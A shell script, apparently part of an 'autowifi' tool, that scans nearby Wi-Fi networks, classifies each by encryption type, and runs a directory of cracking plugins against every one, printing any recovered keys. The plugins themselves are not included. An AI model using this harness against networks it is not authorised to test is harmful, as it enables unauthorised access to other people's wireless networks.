#!/bin/sh # ENV: # the root directory (e.g. root=$PWD/../../ if run from here ) root=${root:-/} wifi=${wifi:-wlan0} test "${1:-}" = 'quiet' && exec 2>&- # for iwlist_scan . $root/usr/lib/autowifi/lib/iwlist # . $ROOT/usr/lib/autowifi/lib/ # for check_internet and check_gateway # . /usr/lib/autowifi/lib/network crack_wifi(){ #SSID MAC CHANNEL ENCRYPTION WPA WPA2 if [ "$4" == off ];then encr=open elif [ "$6" -eq 1 ]; then encr=psk2 elif [ "$5" -eq 1 ]; then encr=psk elif [ "$4" == on ]; then encr=wep fi ALL_RET=1 for hack in $(find $root/usr/lib/autowifi/plugins -type f | sort -n); do printf "%s" "Trying $(basename $hack) against $1 : " >&2 key=$($hack "$@"); ret=$? if [ $ret -eq 0 ];then echo "success!" >&2 echo $1:$2:$encr:$key ALL_RET=0 else echo "fail ..." >&2 fi done return $ALL_RET } loop_over_networks(){ . /tmp/${wifi}.scan echo "SSID:MAC:CHANNEL:ENCRYPTION:key" for i in `seq 1 $WIFI_COUNT`; do eval crack_wifi \"\${ESSID_${i}}\" \${MAC_${i}} \${CHANNEL_${i}} \${ENCRYPTION_${i}} \${WPA_${i}} \${WPA2_${i}} done } iwlist_scan > /tmp/${wifi}.scan loop_over_networks